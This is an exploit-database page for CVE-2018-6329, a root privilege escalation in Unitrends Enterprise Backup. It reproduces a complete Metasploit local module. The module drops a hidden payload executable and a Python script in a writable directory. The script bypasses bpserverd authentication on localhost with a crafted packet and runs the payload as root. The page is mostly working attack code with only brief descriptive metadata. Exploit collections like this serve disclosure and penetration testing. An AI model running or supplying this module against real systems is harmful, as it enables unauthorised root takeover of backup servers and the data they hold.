header-logo
Suggest Exploit
vendor:
Unitrends Enterprise Backup
by:
Cale Smith, Benny Husted, Jared Arave, h00die
9.8
CVSS
CRITICAL
Privilege Escalation
CWE
Product Name: Unitrends Enterprise Backup
Affected Version From:
Affected Version To: UEB <= 10.0
Patch Exists: NO
Related CWE: CVE-2018-6329
CPE:
Metasploit:
Other Scripts:
Platforms Tested: Linux
2018

Unitrends Enterprise Backup bpserverd Privilege Escalation

It was discovered that the Unitrends bpserverd proprietary protocol, as exposed via xinetd, has an issue in which its authentication can be bypassed. A remote attacker could use this issue to execute arbitrary commands with root privilege on the target system. This is very similar to exploits/linux/misc/ueb9_bpserverd however it runs against the localhost by dropping a python script on the local file system. Unitrends stopped bpserverd from listening remotely on version 10.

Mitigation:

Source

Exploit-DB raw data:

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info, {
      'Name'           => 'Unitrends Enterprise Backup bpserverd Privilege Escalation',
      'Description'    => %q{
        It was discovered that the Unitrends bpserverd proprietary protocol, as exposed via xinetd,
        has an issue in which its authentication can be bypassed.  A remote attacker could use this
        issue to execute arbitrary commands with root privilege on the target system.
        This is very similar to exploits/linux/misc/ueb9_bpserverd however it runs against the
        localhost by dropping a python script on the local file system.  Unitrends stopped
        bpserverd from listening remotely on version 10.
       },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Cale Smith', # @0xC413
          'Benny Husted', # @BennyHusted
          'Jared Arave', # @iotennui
          'h00die' # msf adaptations
        ],
      'DisclosureDate' => 'Mar 14 2018',
      'Platform'       => 'linux',
      'Arch'           => [ARCH_X86],
      'References'     =>
        [
          ['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/000005691'],
          ['URL', 'http://blog.redactedsec.net/exploits/2018/04/20/UEB9_tcp.html'],
          ['EDB', '44297'],
          ['CVE', '2018-6329']
        ],
      'Targets'        =>
        [
          [ 'UEB <= 10.0', { } ]
        ],
      'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 2 },
      'SessionTypes'   => ['shell', 'meterpreter'],
      'DefaultTarget'  => 0
      }
    ))
    register_advanced_options([
      OptString.new("WritableDir", [true, "A directory where we can write files", "/tmp"]),
      OptInt.new("BPSERVERDPORT", [true, "Port bpserverd is running on", 1743])
    ])
  end

  def exploit

    pl = generate_payload_exe
    exe_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}"
    print_status("Writing payload executable to '#{exe_path}'")

    write_file(exe_path, pl)
    #register_file_for_cleanup(exe_path)

pe_script = %Q{
import socket
import binascii
import struct
import time
import sys

RHOST = '127.0.0.1'
XINETDPORT = #{datastore['BPSERVERDPORT']}
cmd = "#{exe_path}"

def recv_timeout(the_socket,timeout=2):
    the_socket.setblocking(0)
    total_data=[];data='';begin=time.time()
    while 1:
        #if you got some data, then break after wait sec
        if total_data and time.time()-begin>timeout:
            break
        #if you got no data at all, wait a little longer
        elif time.time()-begin>timeout*2:
            break
        try:
            data=the_socket.recv(8192)
            if data:
                total_data.append(data)
                begin=time.time()
            else:
                time.sleep(0.1)
        except:
            pass
    return ''.join(total_data)

print "[+] attempting to connect to xinetd on {0}:{1}".format(RHOST, str(XINETDPORT))

try:
  s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s1.connect((RHOST,XINETDPORT))
except:
  print "[!] Failed to connect!"
  exit()

data = s1.recv(4096)
bpd_port = int(data[-8:-3])

try:
  pass
  s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s2.connect((RHOST, bpd_port))
except:
  print "[!] Failed to connect!"
  s1.close()
  exit()

print "[+] Connected! Sending the following cmd to {0}:{1}".format(RHOST,str(XINETDPORT))
print "[+] '{0}'".format(cmd)

cmd_len = chr(len(cmd) + 3)
packet_len = chr(len(cmd) + 23)

#https://github.com/rapid7/metasploit-framework/blob/76954957c740525cff2db5a60bcf936b4ee06c42/modules/exploits/linux/misc/ueb9_bpserverd.rb#L72
packet = '\\xa5\\x52\\x00\\x2d'
packet += '\\x00' * 3
packet += packet_len
packet += '\\x00' * 3
packet += '\\x01'
packet += '\\x00' * 3
packet += '\\x4c'
packet += '\\x00' * 3
packet += cmd_len
packet += cmd
packet += '\\x00' * 3

s1.send(packet)

data = recv_timeout(s2)

print data

s1.close()
}

    pes_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}"
    print_status("Writing privesc script to '#{pes_path}'")

    write_file(pes_path, pe_script)
    #register_file_for_cleanup(pes_path)

    print_status("Fixing permissions")
    cmd_exec("chmod +x #{exe_path} #{pes_path}")

    vprint_status cmd_exec("python #{pes_path} -c '#{exe_path}'")
  end

end